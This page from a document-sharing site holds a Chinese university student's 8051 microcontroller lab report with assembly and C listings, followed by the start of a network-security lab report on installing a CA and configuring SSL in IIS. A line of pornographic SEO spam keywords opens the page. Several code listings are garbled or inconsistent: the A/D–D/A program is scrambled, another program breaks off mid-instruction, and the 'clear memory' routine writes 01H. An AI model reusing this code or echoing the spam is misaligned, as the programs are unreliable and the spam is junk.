久久99精品久久久久久琪琪,久久人人爽人人爽人人片亞洲,熟妇人妻无码中文字幕,亚洲精品无码久久久久久久

中南大學單片機實驗報告..(含五篇)

時間:2019-05-14 14:16:29下載本文作者:會員上傳
簡介:寫寫幫文庫小編為你整理了多篇相關的《中南大學單片機實驗報告..》,但愿對你工作學習有幫助,當然你在寫寫幫文庫還可以找到更多《中南大學單片機實驗報告..》。

第一篇:中南大學單片機實驗報告..

中南大學信息科學與工程學院微控制器技術實驗報告

微控制器技術實驗報告

中南大學信息科學與工程學院微控制器技術實驗報告

目錄

一、實驗目的及要求......................................................................3

二、基本實驗內容..........................................................................4

三、實驗設備.................................................................................6

四、實驗設計思想與結果分析......................................................9 實驗一 清零程序與拆字程序設計............................................10 實驗二 拼字程序與數據傳送程序設計.....................................13 實驗三 排序程序與散轉程序設計............................................16 實驗四

數字量輸入輸出實驗....................................................18 實驗五 定時器/計數器實驗.........................................................21 實驗六

A/D、D/A轉換實驗.................................................24 實驗七

串行通訊實驗................................................................29

五、實驗總結...............................................................................34

中南大學信息科學與工程學院微控制器技術實驗報告

一、實驗目的及要求

1.熟練掌握Keil C51集成開發工具的操作及調試程序的方法,包

括:仿真調試與脫機運行間的切換方法;

2.熟練使用SST89C554RC單片機核心板及I/O擴展實驗系統;

3.熟練掌握在Keil C51與Proteus仿真軟件虛擬聯機環境下,基于51單片機控制器數字接口電路的硬件、軟件設計與功能調試;

4.完成MCS51單片機指令系統軟件編程設計和硬件接口功能設計題;

中南大學信息科學與工程學院微控制器技術實驗報告

二、基本實驗內容

實驗一 清零程序與拆字程序設計

根據實驗指導書之“第二章 單片機原理實驗”(P17~P23頁)內容,熟悉實驗環境及方法,完成思考題1、2(P23)基礎實驗項目。

實驗二 拼字程序與數據傳送程序設計

匯編語言完成實驗指導書P24思考題3、4題的基礎實驗項目。

實驗三 排序程序與散轉程序設計

匯編語言完成實驗指導書P24思考題5、6題的基礎實驗項目。

實驗四 數字量輸入輸出實驗

基本部分:閱讀、驗證C語言程序功能。使用匯編語言編程,完成實驗指導書之“3.1 數字量輸入輸出實驗”基本實驗項目(P36)。

提高部分:(任選一題)

題目一:LED交通燈控制(使用8255接口芯片)

要求:使用匯編語言編程,功能為:通過開關實現LED燈工作方式即時控制,完成LED交通燈的開關控制顯示功能和LED交通燈自動循環顯示功能。

題目二:LED燈控制(使用8255接口芯片)

要求:使用匯編語言編程,功能為:通過KK1實現LED燈工作方式即時控制,完成LED開關控制顯示和LED燈左循環、右循環、間隔閃爍功能。

題目三:鍵盤掃描與數碼管顯示設計

要求:閱讀、驗證P69上的C語言參考程序功能。用匯編語言完成編程與功能調試。

實驗五 定時器/計數器實驗

基本部分:閱讀、驗證C語言程序功能。使用匯編語言編程,完成實驗指導書之“3.3 定時/計數器實驗”基本實驗項目(P40)。

提高部分:(任選一題完成)

題目一:定時器控制LED燈

要求:由單片機內部定時器1,按方式1工作,即作為16位定時器使用每0.05秒鐘T1溢出中斷一次。P1口的P1.0-P1.7分別接八個發光二極管。編寫程序模擬時序控制裝置。開機后第一秒鐘L1,L3亮,第二秒鐘L2,L4亮,第三秒鐘L5,L7亮,第四秒鐘L6,L8亮,第五秒鐘L1,L3,L5,L7亮,第六秒鐘L2,L4,L6,L8亮,第七秒鐘八個LED燈全亮,第八秒鐘全滅,以后又從頭開始,L1,L3亮,然后L2,L4亮??一直循環下去。

題目二:計數器實驗

中南大學信息科學與工程學院微控制器技術實驗報告

要求:單片機內部定時計數器,按計數器模式和方式1工作,對P3.4(T0)引腳進行計數。使用T1作定時器,50ms中斷一次,看T0內每0.50來了多少脈沖,將其數值按二進制在LED燈上顯示出來,5秒后再次測試。

題目三:急救車與交通燈(外部中斷實驗)

要求:完成交通燈基本功能基礎上,當有急救車到達時,兩向交通信號為全紅,以便讓急救車通過。假定急救車通過路口時間為10秒,急救車通過后,交通燈恢復中斷前狀態。本實驗題以按鍵為中斷申請,表示有急救車通過。

實驗六 A/D、D/A轉換實驗

基本部分:閱讀、驗證C語言程序功能。使用匯編語言編程,完成實驗指導書之“4.3 A/D轉換實驗”項目(P64)和“4.4 D/A轉換實驗”項目(P67)。

提高部分:(要求:Proteus環境下完成)

小鍵盤給定(并顯示工作狀態),選擇信號源輸出波形類型(D/A轉換方式),經過A/D采樣后,將采樣數據用LED燈,顯示當前模擬信號值大小及變化狀態。

實驗七 串行通訊實驗

基本部分:閱讀、調試C語言程序功能。使用匯編語言編程,完成實驗指導書之“3.7 串口通訊實驗”項目。(要求:實驗儀器上完成)

提高部分:(要求:Proteus環境下完成)

題目一:利用單片機實驗系統,實現與PC機通訊。功能要求:將從實驗系統鍵盤上鍵入的數字,字母顯示到PC機顯示器上,將PC機鍵盤輸入的字符(0-F)顯示到單片機實驗系統的數碼管上。

題目二:進行實驗

六、實驗七實驗內容綜合。

中南大學信息科學與工程學院微控制器技術實驗報告

三、實驗設備

軟件設備:KEIL uv2,PROTEUS7.4 硬件設備:PC機,TD-51系統板(包括SST89E554RC單片機一片、串行通信線、接口等)

1、TD-51系統板 1 系統構成 ○TD-51 系統板為開放的最小單片機系統,采用具有在系統可編程和在應用可編程技術的增強型51 單片機,單片機內置仿真程序,可以實現調試、仿真功能,配合TD 系列微機接口教學 實驗平臺可開展單片機原理及應用的實驗教學。系統功能特點 ○1.取代硬件仿真器的增強型單型

系統采用具有在系統可編程(ISP)和在應用可編程(IAP)技術的增強型51 單片機,單片機內置仿真程序,完全取代傳統的硬件仿真器和編程器。這種先進的單片機將仿真系統和應用系統合二為一,大大降低了應用開發成本,極大地提高了研發效率。把單片機的仿真開發和應用設計提高到一個嶄新的技術領域。

2.先進的集成開發調試調

使用業界著名的Keil C51 集成開發環境作為實驗設計、調試的工具。Keil C51 提供了強大的調試功能,可單步、斷點、全速運行程序,可觀察寄存器區、ROM 變量區、RAM 變量區等的內容。支持匯編語言和C 語言的源語言調試。

3.靈活的組合組

采用開放的系統板結構,可以靈活地配合各型號接口實驗平臺開展單片機的應用教學。

中南大學信息科學與工程學院微控制器技術實驗報告

4.豐富的實驗內容

提供了豐富的原理及接口應用實驗。配合接口實驗平臺可完成數字量輸入/輸出、中斷、定時器/計數器、看門狗、低功耗、PCA、串口通訊、靜態存儲器、FLASH、A/D、D/A、鍵盤及數碼顯示、電子音響、點陣LED、LCD、步進電機、直流電機、溫度控制等實驗內容。

2、SST89E554RC簡介

TD-51 系統板上提供了一片SST89E554RC,該器件是SST 公司推出的8 位微控制器FlashFlex51 家族中的一員,具有如下特征: ·u19982X8051 兼容,嵌入SuperFlash 存儲器 - 軟件完全兼容 - 開發工具兼容 - 引腳全兼容

·u24037X作電壓5V,工作時鐘0~40MHz ·1Kbyte 內部RAM ·u20004X塊SuperFlash EEPROM,主塊32Kbyte,從塊8Kbyte,扇區為128Byte ·u26377X三個高電流驅動端口(每個16mA)·u19977X個16 位的定時器/計數器 ·u20840X雙工、增強型UART - 幀錯誤檢測 - 自動地址識別

·u20843X個中斷源,四級優先級 ·u21487X編程看門狗定時器(WDT)·u21487X編程計數陣列(PCA)·u21452XDPTR 寄存器

·u20302XEMI 模式(可禁止ALE)·SPI 串行接口

·u26631X準每周期12 個時鐘,器件提供選項可使速度倍增,達到每周期6 個時鐘

·u20302X功耗模式

- 掉電模式,可由外部中斷喚醒 - 空閑模式

SST89E554RC 的功能框圖如圖1-2-1 所示,外部引腳如圖1-2-2 所示。SST89E554RC 的特殊功能寄存器如表1-2-1 所列。

中南大學信息科學與工程學院微控制器技術實驗報告

中南大學信息科學與工程學院微控制器技術實驗報告

四、實驗設計思想與結果分析

實驗一到實驗四為軟件編程實驗,需要熟練掌握KEIL uv2編程工具的使用,通過編寫程序實現實驗要求。實驗四到實驗八為硬件接口實驗,需要利用TD-51系統板,通過KEIL uv2編寫好程序,下載到所給的SST89E554RC單片機中,按原理接好硬件接線圖,完成實驗要求。

中南大學信息科學與工程學院微控制器技術實驗報告

實驗一 清零程序與拆字程序設計

實驗調試步驟及結果分析:

(1)編寫好實驗程序后,采用ISP模式調試。

(2)運行程序,使用Keil51模擬器中的虛擬存儲器監視內容變化。(訪問片外存儲器,用“X:+地址”的格式)。

(3)在清零實驗中。用單步跳過的調試方式。7000H-7FFFH中內容先被寫入0FFH;然后全部清零。

(4)在拆子程序實驗中,單步進入調試,先在7000H中,寫入1FH,首先送低位0FH至7001H,然后送高位1H至7002H。

程序流程圖:

清零程序流程圖 拆字程序流程圖

程序清單: 清零程序:

程序如下:

ORG 0000H LJMP MAIN

中南大學信息科學與工程學院微控制器技術實驗報告

ORG 0100H MAIN: MOV DPTR,#7000H;片內RAM首地址

MOV A, #01H;寫入數據初值

MOV R6, #20H;循環變量

LOOP2: MOV R7, #80H LOOP1: MOVX @DPTR, A;寫數據到RAM

INC DPTR;地址加1

DJNZ R7, LOOP1

DJNZ R6, LOOP2

SJMP $

END 結果如下:

單步運行下,第一步為:

最后一步為: 8000h為0

拆字程序:

ORG 0000H

LJMP MAIN

ORG 0100H MAIN: MOV DPTR,#7000H;MOV A,#12H;MOVX @DPTR,A;

RR A;

RR A;

RR A;

RR A;

ANL A,#0FH;高位送7001H低位

MOV DPTR,#7001H;

MOVX @DPTR,A;

中南大學信息科學與工程學院微控制器技術實驗報告

MOV DPTR,#7000H;

MOVX A,@DPTR;

ANL A,#0FH;低位送7002H低位 MOV DPTR,#7002H;

MOVX @DPTR,A;

SJMP $;設置斷點, 觀察實驗結果中的內容

END 結果如下:

中南大學信息科學與工程學院微控制器技術實驗報告

實驗二 拼字程序與數據傳送程序設計

實驗步驟及結果分析:

(1)編寫好實驗程序后,采用ISP模式調試。

(2)拼字程序里,將兩個字節內容分別存為12H,34H。低位相拼,結果是24H。

(3)運行程序,使用Keil51模擬器中的虛擬存儲器監視內容變化。(訪問片外存儲器,用“X:+地址”的格式)。

程序流程圖:

拼字程序流程圖 數據傳輸程序流程圖

程序清單:

ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV DPTR,#7000H;MOV A,#01H;MOVX @DPTR,A;

中南大學信息科學與工程學院微控制器技術實驗報告

ANL A,#0FH;屏蔽高位

SWAP A;MOV B,A;MOV DPTR,#7001H;送7001H MOV A,#0AH;MOVX @DPTR,A;ANL A,#0FH;ORL A,B;拼送后送7002H MOV DPTR,#7002H;MOVX @DPTR,A;SJMP $;設置斷點, 觀察實驗結果中的內容

END 結果如下:

數據傳輸程序

ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV R2,#70H;MOV R3,#00H;源地址

MOV R4,#71H;MOV R5,#00H;目的地址

MOV R6,#00H;MOV R7,#07H;傳送個數

MOV R1,#10H;MOV R0,#07H;MOV DPH,R2;MOV DPL,R3;MOV A,R1;L0: MOVX @DPTR,A;INC DPTR;DJNZ R0,L0;賦值 L2: MOV R7,#0FFH;L1: MOV DPH,R2;MOV DPL,R3;

中南大學信息科學與工程學院微控制器技術實驗報告

MOVX A,@DPTR;INC DPTR;MOV R2,DPH;MOV R3,DPL;MOV DPH,R4;MOV DPL,R5;MOVX @DPTR,A;INC DPTR;MOV R4,DPH;MOV R5,DPL;DJNZ R7,L1;DJNZ R6,L2;SJMP $ END

結果如下:

把7000h中的8個數據發給7100h中:

中南大學信息科學與工程學院微控制器技術實驗報告

實驗三 排序程序與散轉程序設計

實驗步驟及結果分析: 排序實驗:

(1)編寫實驗程序,編譯、鏈接無誤后聯機調試;

(2)為 30H~39H 賦初值,如:在命令行中鍵入 E CHAR D:30H=9, 11H, 5, 31H, 20H, 16H,1, 1AH, 3FH, 8 后回車,可將這 10 個數寫入 30H~39H 中;

(3)將光標移到語句行命令,將程序運行到該行;

(4)查看存儲器窗口中 30H~39H 中的內容,驗證程序功能;

(5)重新為 30H~39H 單元賦值,反復運行實驗程序,驗證程序的正確性。

實驗流程圖

程序清單: 散轉程序:

ORG 0000H LJMP MAIN ORG 0100H MAIN : MOV A,#01H MOV R2,A RL A ADD A,R2 MOV DPTR,#PTAB JMP @A+DPTR PTAB: LJMP PM0 LJMP PM1

中南大學信息科學與工程學院微控制器技術實驗報告

LJMP PM2 LJMP PM3

PM0: [程序體0] PM1: [程序體1] PM2: [程序體2] PM3: [程序體3] SJMP $ END 冒泡排序子程序:

ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV R0,#10H;MOV R7,#04H;ACALL MAOP SJMP $ MAOP: L1: MOV A,R0;MOV R1,A INC R1;MOV A,R7 MOV R6,A L2: MOV A,@R0 CLR C SUBB A,@R1;JC L3;MOV A,@R0;XCH A,@R1 MOV @R0,A L3: INC R1 DJNZ R6,L2;INC R0 DJNZ R7,L1;RET;END 初始地址

外循環次數(參與比較的數的個數-1)賦給初始地址 取第二個數的地址 兩數進行比較

前數小于后數則保持位置不變 否則,交換位置 內循環是否完成 外循環是否完成 返回主程序 17

中南大學信息科學與工程學院微控制器技術實驗報告

實驗四

數字量輸入輸出實驗

實驗步驟:(1)按圖11接好試驗線路圖,圖中圓圈表示不要通過排線連接(2)編寫實驗程序,編譯鏈接無誤后進入調試狀態(3)運行實驗程序,觀察實驗現象,驗證程序正確性(4)按復位鍵,結束程序運行,退出調試狀態

實驗硬件接線圖:

程序清單: 基礎部分:

ORG 0000H LJMP MAIN ORG 0100H MAIN : MOV P1,#0FFH;初始化

MOV A,P1;將輸入寫進累加器A SWAP A ANL A,#0FH MOV P1,A;輸出顯示

LJMP MAIN;循環不斷檢測P1口輸入端的新狀態

SJMP $ END LED燈控制:

ORG 0000H LJMP MAIN ORG 0100H MAIN: MOV TMOD, #60H;設置T1為模式2,外部計數方式 MOV TH1,#0FFH;T1計數器賦初值 MOV TL1,#0FFH MOV DPTR,#7300H

中南大學信息科學與工程學院微控制器技術實驗報告

MOV A,#80H MOVX @DPTR,A MOV DPTR,#7100H SETB TR1;開啟計數器

LEFT: MOV R0,#08H;左循環 MOV A,#01H A1: MOVX @DPTR,A LCALL DELAY RL A DJNZ R0,A1 JBC TF1,RIGHT;JMP LEFT

RIGHT: MOV R0,#08H;MOV A,#80H A2: MOVX @DPTR,A LCALL DELAY RR A DJNZ R0,A2 JBC TF1,SHANSHUO;JMP RIGHT

SS: MOV R0,#08H;LP1: MOV A,#55H MOVX @DPTR,A LCALL DELAY MOV A,#0AAH MOVX @DPTR,A LCALL DELAY DJNZ R0,LP1 JBC TF1, LEFT;JMP SHANSHUO DELAY: MOV R1,#0FFH DEL1: MOV R2,0FFH DEL2: DJNZ R2, DEL2 DJNZ R1,DEL1 RET SJMP $

END 查詢T1溢出標志,TF1=1時轉移右循環 查詢T1溢出標志,TF1=1時轉移閃爍 查詢T1溢出標志,TF1=1時轉移

中南大學信息科學與工程學院微控制器技術實驗報告

結果分析:

利用計數器T1外部技術方式,當外部輸入脈沖引腳上出現電平負跳變時,T1計數器加一,溢出標志TF1置一,然后改變LED燈亮的方式,同時,將標志位TF1復位,進入下一輪的計數溢出等待。因此,而形成三種亮燈方式的自動循環。若是用開關實現三種方式的亮燈,則需要在最開始和每種亮燈之后通過8255對開關狀態進行采集并進行判斷。因此事先還要先設置好哪個開關的閉合表示哪種亮燈方式。

中南大學信息科學與工程學院微控制器技術實驗報告

實驗五 定時器/計數器實驗

實驗步驟:

(1)編寫實驗程序,編譯、鏈接后聯機調試;

(2)運行實驗程序,使用示波器觀察 P1.0引腳上的波形并記錄周期;(3)改變計數初值,觀察實驗現象,驗證程序功能。

實驗硬件接線圖:

○1 定時器LED控制PROTEUS仿真接線圖

中南大學信息科學與工程學院微控制器技術實驗報告

程序流程圖:

程序清單:

#include unsigned char count;

void main(){ unsigned char value, i;TMOD=0x01;TH0=0x4C;TL0=0x00;ET0=1;PT0=1;EA=1;TR0=1;while(1){ if(count==20)P1=05H;if(count==40)P1=0AH;

中南大學信息科學與工程學院微控制器技術實驗報告

if(count==60)P1=50H;if(count==80)P1=0A0H;if(count==100)P1=55H;if(count==120)P1=0AAH;if(count==140)P1=0FFH;if(count==160)P1=00H;

count=0;} }

void Timer0()interrupt 1 { TR0=0;TH0=0x4C;TL0=0x00;TR0=1;count++;

中南大學信息科學與工程學院微控制器技術實驗報告

實驗六

A/D、D/A轉換實驗

實驗接線圖:

3LED燈PROTEUS仿真接線圖 ○程序清單:

PRO_DA EQU 7FFFH PRO_AD EQU 0BFFFH

ORG 0000H

SJMP MAIN

ORG 001BH

LJMP KEYSCAN

ORG 0030H MAIN: SETB EA

SETB EX1

SETB IT1

MOV P1,#0FH

中南大學信息科學與工程學院微控制器技術實驗報告

TEST:

L1:

L2:

L3:

KEYSCAN:

KEY1:

MOV R3,#07FH MOV R4,#03H LOOP1:

ANL A,#0FH

KEY2:

SJMP LOOP6 LOOP3: CJNE R2,#02H,LOOP4

LOOP4:

SJMP LOOP6 LOOP5:

LOOP6: MOV R5,#0FFH MOV R5,#03H CJNE R5,#01H,L1 LCALL SQUARE AJMP TEST CJNE R5,#02H,L2 LCALL TRIANGLE AJMP TEST CJNE R5,#03H,L3 LCALL SAWTOOTH AJMP TEST ACALL T12MS;MOV R6,A ACALL SCAN JNZ KEY1 SJMP EXIT MOV R2,A MOV P1,R3 MOV A,P1 CPL A JNZ KEY2 MOV A,R3 RR A MOV R3,A DJNZ R4,LOOP1 SJMP EXIT DEC R4 CJNE R2,#01H,LOOP3 MOV A,#01H MOV A,#04H SJMP LOOP6 CJNE R2,#04H,LOOP5 MOV A,#07H CJNE R2,#08H,LOOP6 MOV A,#0AH ADD A,R4

鍵盤掃描中斷25

;

中南大學信息科學與工程學院微控制器技術實驗報告

MOV R5,A MOV P1,#0FH

;MOV A,R6 EXIT: RETI SCAN: MOV P1,#0FH MOV A,P1 CPL A ANL A,#0FH RET T12MS:MOV R7,#15H;12MS TM: MOV R6,#0FFH DJNZ R6,$ DJNZ R7,TM RET

SQUARE: MOV DPTR,#PRO_DA MOV A,#0FFH MOVX @DPTR,A MOV DPTR,#0BFFFH MOVX @DPTR,A ACALL DELAY MOV A,#00H MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#0BFFFH MOVX @DPTR,A ACALL DELAY RET

DELAY:MOV R0,#27H DEL1: MOV R1,#0FFH DJNZ R1,$ DJNZ R0,DEL1 RET 掃描周期20ms TRIANGLE:MOV A,#00H TLOOP:MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#PRO_AD MOVX @DPTR,A CJNE A,#0FFH,TLOOP2

;延時后再次掃描有無按鍵按下

產生方波

產生三角波 時鐘500KHz 幅值

;D/A;D/A1mv

中南大學信息科學與工程學院微控制器技術實驗報告

COUNT1:DEC A MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#PRO_AD MOVX @DPTR,A CJNE A,#00H,COUNT1 SJMP EXIT1 TLOOP2:INC A AJMP TLOOP EXIT1:RET SAWTOOTH: MOV A,#00H SLOOP:MOV DPTR,#PRO_DA MOVX @DPTR,A MOV DPTR,#PRO_AD MOVX @DPTR,A INC A CJNE A,#00H,SLOOP RET

END 靜態存儲器擴展實驗 1)程序如下:

ORG 0000H

LJMP MAIN

ORG 0030H MAIN: MOV 8EH,02H

MOV P1,# 0FFH CLR A MOV P1,A MOV R7,#10H

MOV R0,#30H

MOV A,#00H LOOP0: MOV @R0,A

INC R0

INC A

DJNZ R7,LOOP0

MOV R7,#10H

MOV R0,#30H MOV R1,#40H

MOV DPTR,#0000H LOOP1:MOV A,@R0

MOVX @DPTR,A

產生鋸齒波27

;D/A

中南大學信息科學與工程學院微控制器技術實驗報告

MOV R2,A MOVX A,@DPTR00 結果分析:

實驗主要是對輸出波形的變化監視。三角波的產生原理與鋸齒波相同,只需在鋸齒波計數達到最大值0FFH時,再逐漸減1減小到00H(鋸齒波產生則直接從0重新開始),如此反復。另外對波形影響較大的是保持時間,即實驗中的delay()函數決定的延遲時間。

中南大學信息科學與工程學院微控制器技術實驗報告

實驗七

串行通訊實驗

實驗步驟:

(1)串口通訊實驗電路如圖3-7-1 所示;

(2)編寫實驗程序,經編譯、鏈接無誤后啟動調試;

(3)進入調試界面,點擊命令,打開串口1 監視窗口;

(4)運行實驗程序,觀察此時有如圖3-7-2 所示輸出;

(5)閱讀1.7 節的內容,首先將系統程序由SoftICE 切換到啟動加載程序;

(6)將編譯生成的Hex 文件通過SSTEasyIAP11F.EXE 軟件下載到單片機內部Flash 中;

(7)復位單片機,打開超級終端或串口調試軟件,將端口號及波特率等設置好,觀察PC顯示,如圖3-7-3 和圖3-7-4 所示;

(8)實驗結束,重新將SoftICE 下載到單片機系統區替換啟動加載程序。

實驗原理及原理圖:

MCS-51 單片機內部的全雙工串行接口部分,包含有串行接收器和串行發送器。有兩個物理上獨立的接收緩沖器和發送緩沖器。接收緩沖器只能讀出接收的數據,但不能寫入。發送緩沖器只能寫入發送的數據,但不能讀出。因此可以同時收、發數據,實現全雙工通訊。兩個緩沖器是特殊功能寄存器SBUF,它們公用地址為99H,SBUF 是不可位尋址的。此外,還有兩個寄存器SCON 和PCON 分別用于控制串行口的工作方式以及波特率,定時器T1 可以用作波特率發生器 SST89E554RC 提供了增強型全雙工串行接口,具有幀錯誤檢測和自動地址識別的功能。

由于SST89E554RC 的串口用作調試目的,所以Keil C51 軟件提供了串口模擬窗口,可以借助此窗口調試串口通訊程序。也可以將程序編譯生成目標代碼(.HEX),脫機運行。

實驗接線圖:

中南大學信息科學與工程學院微控制器技術實驗報告

○1串行通訊仿真接線圖

程序清單:

AJMP MAIN ORG 0023H AJMP URT

ORG 0030H MAIN: MOV P1,#00H LCALL URTINIT START: MOV P0,#0FH MOV A,P0 CPL A ANL A,#0FH JZ START LCALL DELAY MOV P0,#0FH MOV A,P0 ANL A,#0FH MOV R7,A MOV P0,#0F0H MOV A,P0 ANL A,#0F0H ORL A,R7 CJNE A,#0EEH,K1

中南大學信息科學與工程學院微控制器技術實驗報告

MOV A,#30H MOV SBUF,A JNB TI,$ CLR TI K1: CJNE A,#0DEH,K2 MOV A,#31H MOV SBUF,A JNB TI,$ CLR TI K2: CJNE A,#0BEH,K3 MOV A,#39H MOV SBUF,A JNB TI,$ CLR TI KA: CJNE A,#0BBH,KB MOV A,#32H MOV SBUF,A JNB TI,$ CLR TI K3: CJNE A,#7EH,K4 MOV A,#33H MOV SBUF,A JNB TI,$ CLR TI K4: CJNE A,#0EDH,K5 MOV A,#34H MOV SBUF,A JNB TI,$ CLR TI K5: CJNE A,#0DDH,K6 MOV A,#35H MOV SBUF,A JNB TI,$ CLR TI K6: CJNE A,#0BDH,K7 MOV A,#36H MOV SBUF,A JNB TI,$ CLR TI K7: CJNE A,#7DH,K8 MOV A,#37H MOV SBUF,A JNB TI,$ CLR TI K8: CJNE A,#0EBH,K9

中南大學信息科學與工程學院微控制器技術實驗報告

MOV A,#38H MOV SBUF,A JNB TI,$ CLR TI K9: CJNE A,#0DBH,KA MOV A,#41H MOV SBUF,A JNB TI,$ CLR TI KB: CJNE A,#7BH,KC MOV A,#42H MOV SBUF,A JNB TI,$ CLR TI KC: CJNE A,#0E7H,KD MOV A,#43H MOV SBUF,A JNB TI,$ CLR TI KD: CJNE A,#0D7H,KE MOV A,#44H MOV SBUF,A JNB TI,$ CLR TI KE: CJNE A,#0B7H,KF MOV A,#45H MOV SBUF,A JNB TI,$ CLR TI KF: CJNE A,#77H,K0 MOV A,#46H MOV SBUF,A JNB TI,$ CLR TI K0: LJMP START URTINIT: MOV SCON,#50H;設置成串口工作方式在8位URT MOV TMOD,#20H;設置T1為可重裝8位定時器 MOV TL1,#0FDH;256-FOSC/BTL/32/12 MOV TH1,#0FDH SETB TR1;開啟定時器 SETB ES;開啟串口中斷 SETB EA;開總中斷 RET

中南大學信息科學與工程學院微控制器技術實驗報告

URT: CLR C MOV A,SBUF;接收到數據后將數據返回 MOV P1,A NEXT1:CLR RI;清接收中斷標志 RETI

DELAY: MOV R6,#0ffh DEL1: MOV R5,#0ffh DJNZ R5,$ DJNZ R6,DEL1 RET END

結果分析:串行總線是單片機的特色。本實驗通過兩種方式驗證的串口的通信。ISP模式下,采用計算機軟件實現串口監視。另一種是指IAP模式下,對輸入計算機串口的數據進行跟蹤。串行通信的重點在于異步通信時波特率的選擇,以及傳送位數的規定。通過串口的通訊,計算機可以實現與D/A、A/D、PC機以及其他單片機的通信,還可以由不同的協議構成各種網絡結構,方便了單片機系統的嵌入式應用。

中南大學信息科學與工程學院微控制器技術實驗報告

五、實驗總結

我覺得軟件實驗就是讓我們初學者熟悉keil的使用,然后復習下匯編的思想和掌握程序的流程,所以軟件實驗可以很快的完成,并且慢慢熟悉調試的強大功能。硬件設計中,仿真讓我很有感觸,感覺蠻好玩的,可以摒棄麻煩的實驗硬件自己在寢室玩而且不受硬件狀態的限制,即便出錯了也不會損壞。

在實驗過程中,我還學到了一些簡單的調試方法,設置斷點調試,單步調試,全速調試等,而且還接觸了一點PROTEUS軟件仿真,這都對我們的提高有非常大的促進作用。通過實驗,對單片機應用及編程了解得更加透徹,在實驗中實現了自我能力的提升。最后,也非常感謝李老師的傾心教授。

第二篇:中南大學網絡安全實驗報告

學生姓名指導教師學 院專業班級學 號完成時間中南大學

網絡安全 實驗報告

代巍 張士庚 信息科學與工程學院 信安1201班 0909121615 年12月15日

2014

目錄

實驗一 CA證書與SSL連接 實驗二 WIFI釣魚 實驗三 SQL注入攻擊

實驗四 配置和管理主機防火墻

實驗一 CA證書與SSL連接

一.實驗目的

通過申請、安裝數字證書,掌握使用SSL建立安全通信通道的方法。掌握在Windows Server 2003 下獨立根CA 的安裝和使用。使用WEB 方式申請證書和安裝證書。建立SSL 網站。

分析SSL 網站的數據包特點。二.實驗原理

SSL協議的工作原理、數字證書的原理

在訪問Web 站點時,如果沒有較強的安全措施,用戶訪問的數據是可以使用網絡工具 捕獲并分析出來的。在Web 站點的身份驗證中,有一種基本身份驗證,要求用戶訪問輸入

用戶名和密碼時,是以明文形式發送密碼的,蓄意破壞安全性的人可以使用協議分析程序破

譯出用戶名和密碼。那我們該如果避免呢?可利用SSL 通信協議,在Web 服務器上啟用安

全通道以實現高安全性。

SSL 協議位于TCP/IP 協議與各種應用層協議之間,為數據通訊提供安全支持。SSL 協 議可分為兩層: SSL 記錄協議(SSL Record Protocol):它建立在可靠的傳輸協議(如TCP)

之上,為高層協議提供數據封裝、壓縮、加密等基本功能的支持。SSL 握手協議(SSL Handshake Protocol):它建立在SSL 記錄協議之上,用于在實際的數據傳輸開始前,通訊雙

方進行身份認證、協商加密算法、交換加密密鑰等。每一個Windows Server 2003 證書頒發

機構都有可供用戶和管理員使用的網頁。三.實驗環境

虛擬機:Windows Server 2003,Windows XP,Wireshark 抓包軟件。四.實驗過程

任務一:windows server 2003 環境下獨立根CA 的安裝及使用

1、windows server 2003 環境下獨立根CA 的安裝及使用,啟動Windows Server 2003 和Windows XP,配臵其IP,使其在同一局域網網段。在Windows Server 2003 中,選擇【開始】|【控制面板】|【添加和刪除程序】,在彈出窗口中選擇【添加和刪除windows 組件】,在【組件】列表框中選擇【證書服務】,再單擊【下一步】按鈕,如下圖所示。

2、在彈出的窗口中選擇【獨立根CA】單選按鈕,單擊【下一步】按鈕,在彈出窗口中按要求依次填入CA 所要求的信息,單擊【下一步】按鈕,如下圖所示。

3、繼續選擇【證書數據庫】、【數據庫日志】和配臵信息的安裝、存放路徑,如下圖所示,單擊【下一步】按鈕。安裝的時候,可能會彈出如下窗口,為了實驗方便,已經把I386 文件夾復制到C:下,選擇【瀏覽】,選擇文件夾“C:I386”,點【確定】,完成安裝。

4、選擇【開始】|【程序】|【管理工具】,可以找到【證書頒發機構】,說明CA 的安裝已經完成,如下圖所示。

5、從同一局域網中的另外一臺XP 開啟IE 瀏覽器,輸入http://windows2003 的IP/certsrv/,選中【申請一個證書】,如下圖所示,在彈出的頁面中選擇【web 瀏覽器證書】。

6、在彈出窗口中填寫用戶的身份信息,完成后進行【提交】。此種情況下,IE 瀏覽器采用

默認的加密算法生成公鑰對,私鑰保存在本地計算機中,公鑰和用戶身份信息按照標準的格式發給CA 服務器,如圖所示,單擊【是】,進入下一步。CA 服務器響應后,彈出證書申請成功頁面,如下圖所示。

7、在根CA 所在的計算機上,選擇【開始】|【程序】|【管理工具】|【證書頒發機構】,上面申請的證書便會出現在窗口右邊,選擇證書單擊右鍵,選擇【所有任務】|【頒發】,進行證書頒發,如下圖所示。證書頒發后將從【掛起的申請】文件夾轉入【頒發的證書】文件夾中,表示證書頒發完成。

8、在申請證書的計算機上打開IE,輸入http://windows2003 的IP/certsrv/,進入證書申請頁面,選擇【查看掛起的證書申請狀態】,彈出的頁面中選擇一個已經提交的證書申請,如下圖所示。選擇安裝此證書。

9、現在驗證此CA 系統頒發的新證書是否可信,為此需要安裝CA 系統的根證書,進入證書申請主頁面,選擇當前的CA 證書進行下載,并保存到合適路徑,如下圖所示。

10、下載完畢之后,在證書的保存目錄中查看證書信息,單擊【安裝證書】按鈕,進入證書導入向導,按照默認的配臵完成證書的導入,導入成功后,單擊【確定】按鈕,之后完成。

任務二:基于Web的SSL連接設臵

1、在XP 中,左下角【開始】,打開【Wireshark】,并點擊開始抓包的按鈕。打開IE 瀏覽器,輸入網址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包結果1。

2、選擇【開始】|【程序】|【管理工具】|【IIS(Internet 信息服務)管理器】,在彈出窗口右鍵單擊【默認網站】,彈出的快捷菜單中選擇【屬性】選項。

3、在彈出窗口內選擇【目錄安全性】標簽,單擊【安全通信】中的【服務器證書】按鈕,如下圖所示。

4、彈出【IIS 證書向導】窗口,選中【新建證書】復選項,一直單擊【下一步】按鈕,輸入自定義的名稱,如下圖所示。填寫相應的信息后,單擊【下一步】按鈕。

